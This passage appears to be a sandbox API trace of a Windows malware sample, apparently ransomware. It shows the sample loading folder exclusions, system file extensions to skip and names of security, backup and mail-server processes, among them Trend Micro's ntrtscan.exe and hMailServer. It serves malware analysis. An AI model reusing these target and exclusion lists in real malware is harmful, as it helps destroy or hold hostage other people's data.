	[0059.519] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\vmware", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\vmware") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*appdata*microsoft" | out: DestinationString="*appdata*microsoft") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*appdata*microsoft", AllocateDestinationString=1 | out: DestinationString="*appdata*microsoft") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*appdata*packages" | out: DestinationString="*appdata*packages") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*appdata*packages", AllocateDestinationString=1 | out: DestinationString="*appdata*packages") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*microsoft\\provisioning" | out: DestinationString="*microsoft\\provisioning") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*microsoft\\provisioning", AllocateDestinationString=1 | out: DestinationString="*microsoft\\provisioning") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*dvd maker" | out: DestinationString="*dvd maker") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*dvd maker", AllocateDestinationString=1 | out: DestinationString="*dvd maker") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*Internet Explorer" | out: DestinationString="*Internet Explorer") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*Internet Explorer", AllocateDestinationString=1 | out: DestinationString="*Internet Explorer") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*Mozilla" | out: DestinationString="*Mozilla") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*Mozilla", AllocateDestinationString=1 | out: DestinationString="*Mozilla") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*Mozilla*" | out: DestinationString="*Mozilla*") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*Mozilla*", AllocateDestinationString=1 | out: DestinationString="*Mozilla*") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*Old Firefox data" | out: DestinationString="*Old Firefox data") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*Old Firefox data", AllocateDestinationString=1 | out: DestinationString="*Old Firefox data") returned 0x0
	[0059.520] RtlFreeAnsiString (AnsiString="*") 
	[0059.520] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\windows media*" | out: DestinationString="*\\program file*\\windows media*") 
	[0059.520] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\windows media*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows media*") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\windows portable*" | out: DestinationString="*\\program file*\\windows portable*") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\windows portable*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows portable*") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*windows defender" | out: DestinationString="*windows defender") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*windows defender", AllocateDestinationString=1 | out: DestinationString="*windows defender") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\windows nt" | out: DestinationString="*\\program file*\\windows nt") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\windows nt", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows nt") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\windows photo*" | out: DestinationString="*\\program file*\\windows photo*") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\windows photo*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows photo*") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\windows side*" | out: DestinationString="*\\program file*\\windows side*") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\windows side*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windows side*") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\windowspowershell" | out: DestinationString="*\\program file*\\windowspowershell") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\windowspowershell", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\windowspowershell") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\cuass*" | out: DestinationString="*\\program file*\\cuass*") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\cuass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\cuass*") returned 0x0
	[0059.521] RtlFreeAnsiString (AnsiString="*") 
	[0059.521] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\microsoft games" | out: DestinationString="*\\program file*\\microsoft games") 
	[0059.521] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\microsoft games", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\microsoft games") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\common files\\system" | out: DestinationString="*\\program file*\\common files\\system") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\common files\\system", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\system") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\common files\\*shared" | out: DestinationString="*\\program file*\\common files\\*shared") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\common files\\*shared", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\*shared") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\program file*\\common files\\reference ass*" | out: DestinationString="*\\program file*\\common files\\reference ass*") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\program file*\\common files\\reference ass*", AllocateDestinationString=1 | out: DestinationString="*\\program file*\\common files\\reference ass*") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*\\windows\\cache*" | out: DestinationString="*\\windows\\cache*") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*\\windows\\cache*", AllocateDestinationString=1 | out: DestinationString="*\\windows\\cache*") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*temporary internet*" | out: DestinationString="*temporary internet*") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*temporary internet*", AllocateDestinationString=1 | out: DestinationString="*temporary internet*") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*media player" | out: DestinationString="*media player") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*media player", AllocateDestinationString=1 | out: DestinationString="*media player") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="*:\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="*:\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="*:\\users\\*\\appdata\\*\\microsoft") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="*") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft" | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") 
	[0059.522] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="\\\\*\\users\\*\\appdata\\*\\microsoft", AllocateDestinationString=1 | out: DestinationString="\\\\*\\users\\*\\appdata\\*\\microsoft") returned 0x0
	[0059.522] RtlFreeAnsiString (AnsiString="\\") 
	[0059.522] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msp" | out: DestinationString="msp") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msp", AllocateDestinationString=1 | out: DestinationString="msp") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="m") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="exe" | out: DestinationString="exe") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="exe", AllocateDestinationString=1 | out: DestinationString="exe") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="e") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="sys" | out: DestinationString="sys") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="sys", AllocateDestinationString=1 | out: DestinationString="sys") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="s") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msc" | out: DestinationString="msc") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msc", AllocateDestinationString=1 | out: DestinationString="msc") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="m") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mod" | out: DestinationString="mod") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mod", AllocateDestinationString=1 | out: DestinationString="mod") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="m") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="clb" | out: DestinationString="clb") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="clb", AllocateDestinationString=1 | out: DestinationString="clb") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="c") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mui" | out: DestinationString="mui") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mui", AllocateDestinationString=1 | out: DestinationString="mui") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="m") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="regtrans-ms" | out: DestinationString="regtrans-ms") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="regtrans-ms", AllocateDestinationString=1 | out: DestinationString="regtrans-ms") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="r") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="theme" | out: DestinationString="theme") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="theme", AllocateDestinationString=1 | out: DestinationString="theme") returned 0x0
	[0059.523] RtlFreeAnsiString (AnsiString="t") 
	[0059.523] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="hta" | out: DestinationString="hta") 
	[0059.523] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="hta", AllocateDestinationString=1 | out: DestinationString="hta") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="h") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="shs" | out: DestinationString="shs") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="shs", AllocateDestinationString=1 | out: DestinationString="shs") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="s") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="nomedia" | out: DestinationString="nomedia") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="nomedia", AllocateDestinationString=1 | out: DestinationString="nomedia") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="n") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="diagpkg" | out: DestinationString="diagpkg") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="diagpkg", AllocateDestinationString=1 | out: DestinationString="diagpkg") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="d") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cab" | out: DestinationString="cab") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cab", AllocateDestinationString=1 | out: DestinationString="cab") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="c") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ics" | out: DestinationString="ics") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ics", AllocateDestinationString=1 | out: DestinationString="ics") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="i") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msstyles" | out: DestinationString="msstyles") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msstyles", AllocateDestinationString=1 | out: DestinationString="msstyles") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="m") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cur" | out: DestinationString="cur") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cur", AllocateDestinationString=1 | out: DestinationString="cur") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="c") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="drv" | out: DestinationString="drv") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="drv", AllocateDestinationString=1 | out: DestinationString="drv") returned 0x0
	[0059.524] RtlFreeAnsiString (AnsiString="d") 
	[0059.524] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="icns" | out: DestinationString="icns") 
	[0059.524] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="icns", AllocateDestinationString=1 | out: DestinationString="icns") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="i") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="diagcfg" | out: DestinationString="diagcfg") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="diagcfg", AllocateDestinationString=1 | out: DestinationString="diagcfg") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="d") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="dll" | out: DestinationString="dll") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="dll", AllocateDestinationString=1 | out: DestinationString="dll") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="d") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ocx" | out: DestinationString="ocx") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ocx", AllocateDestinationString=1 | out: DestinationString="ocx") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="o") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="lnk" | out: DestinationString="lnk") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="lnk", AllocateDestinationString=1 | out: DestinationString="lnk") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="l") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ico" | out: DestinationString="ico") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ico", AllocateDestinationString=1 | out: DestinationString="ico") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="i") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="idx" | out: DestinationString="idx") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="idx", AllocateDestinationString=1 | out: DestinationString="idx") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="i") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ps1" | out: DestinationString="ps1") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ps1", AllocateDestinationString=1 | out: DestinationString="ps1") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="p") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="mpa" | out: DestinationString="mpa") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="mpa", AllocateDestinationString=1 | out: DestinationString="mpa") returned 0x0
	[0059.525] RtlFreeAnsiString (AnsiString="m") 
	[0059.525] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cpl" | out: DestinationString="cpl") 
	[0059.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cpl", AllocateDestinationString=1 | out: DestinationString="cpl") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="c") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="icl" | out: DestinationString="icl") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="icl", AllocateDestinationString=1 | out: DestinationString="icl") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="i") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msu" | out: DestinationString="msu") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msu", AllocateDestinationString=1 | out: DestinationString="msu") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="m") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="msi" | out: DestinationString="msi") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="msi", AllocateDestinationString=1 | out: DestinationString="msi") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="m") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="nls" | out: DestinationString="nls") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="nls", AllocateDestinationString=1 | out: DestinationString="nls") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="n") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="scr" | out: DestinationString="scr") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="scr", AllocateDestinationString=1 | out: DestinationString="scr") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="s") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="adv" | out: DestinationString="adv") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="adv", AllocateDestinationString=1 | out: DestinationString="adv") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="a") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="386" | out: DestinationString="386") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="3") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="com" | out: DestinationString="com") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="com", AllocateDestinationString=1 | out: DestinationString="com") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="c") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="hlp" | out: DestinationString="hlp") 
	[0059.526] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="hlp", AllocateDestinationString=1 | out: DestinationString="hlp") returned 0x0
	[0059.526] RtlFreeAnsiString (AnsiString="h") 
	[0059.526] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="rom" | out: DestinationString="rom") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="rom", AllocateDestinationString=1 | out: DestinationString="rom") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="r") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="lock" | out: DestinationString="lock") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="lock", AllocateDestinationString=1 | out: DestinationString="lock") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="l") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="386" | out: DestinationString="386") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="386", AllocateDestinationString=1 | out: DestinationString="386") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="3") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="wpx" | out: DestinationString="wpx") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="wpx", AllocateDestinationString=1 | out: DestinationString="wpx") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="w") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ani" | out: DestinationString="ani") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ani", AllocateDestinationString=1 | out: DestinationString="ani") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="a") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="prf" | out: DestinationString="prf") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="prf", AllocateDestinationString=1 | out: DestinationString="prf") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="p") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="rtp" | out: DestinationString="rtp") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="rtp", AllocateDestinationString=1 | out: DestinationString="rtp") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="r") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ldf" | out: DestinationString="ldf") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ldf", AllocateDestinationString=1 | out: DestinationString="ldf") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="l") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="key" | out: DestinationString="key") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="key", AllocateDestinationString=1 | out: DestinationString="key") returned 0x0
	[0059.527] RtlFreeAnsiString (AnsiString="k") 
	[0059.527] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="diagcab" | out: DestinationString="diagcab") 
	[0059.527] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="diagcab", AllocateDestinationString=1 | out: DestinationString="diagcab") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="d") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cmd" | out: DestinationString="cmd") 
	[0059.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cmd", AllocateDestinationString=1 | out: DestinationString="cmd") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="c") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="spl" | out: DestinationString="spl") 
	[0059.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="spl", AllocateDestinationString=1 | out: DestinationString="spl") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="s") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="deskthemepack" | out: DestinationString="deskthemepack") 
	[0059.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="deskthemepack", AllocateDestinationString=1 | out: DestinationString="deskthemepack") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="d") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bat" | out: DestinationString="bat") 
	[0059.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="bat", AllocateDestinationString=1 | out: DestinationString="bat") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="b") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="themepack" | out: DestinationString="themepack") 
	[0059.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="themepack", AllocateDestinationString=1 | out: DestinationString="themepack") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="t") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="nslsvice.exe" | out: DestinationString="nslsvice.exe") 
	[0059.528] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="nslsvice.exe", AllocateDestinationString=1 | out: DestinationString="nslsvice.exe") returned 0x0
	[0059.528] RtlFreeAnsiString (AnsiString="n") 
	[0059.528] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="pg*" | out: DestinationString="pg*") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="pg*", AllocateDestinationString=1 | out: DestinationString="pg*") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="p") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="nservice.exe" | out: DestinationString="nservice.exe") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="nservice.exe", AllocateDestinationString=1 | out: DestinationString="nservice.exe") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="n") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="c") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="ntrtscan.exe" | out: DestinationString="ntrtscan.exe") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="ntrtscan.exe", AllocateDestinationString=1 | out: DestinationString="ntrtscan.exe") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="n") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="cbservi*" | out: DestinationString="cbservi*") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="cbservi*", AllocateDestinationString=1 | out: DestinationString="cbservi*") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="c") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="hMailServer*" | out: DestinationString="hMailServer*") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="hMailServer*", AllocateDestinationString=1 | out: DestinationString="hMailServer*") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="h") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="IBM*" | out: DestinationString="IBM*") 
	[0059.529] RtlAnsiStringToUnicodeString (in: DestinationString=0x272f970, SourceString="IBM*", AllocateDestinationString=1 | out: DestinationString="IBM*") returned 0x0
	[0059.529] RtlFreeAnsiString (AnsiString="I") 
	[0059.529] RtlInitAnsiString (in: DestinationString=0x272f968, SourceString="bes10*" | out: DestinationString="bes10*") 
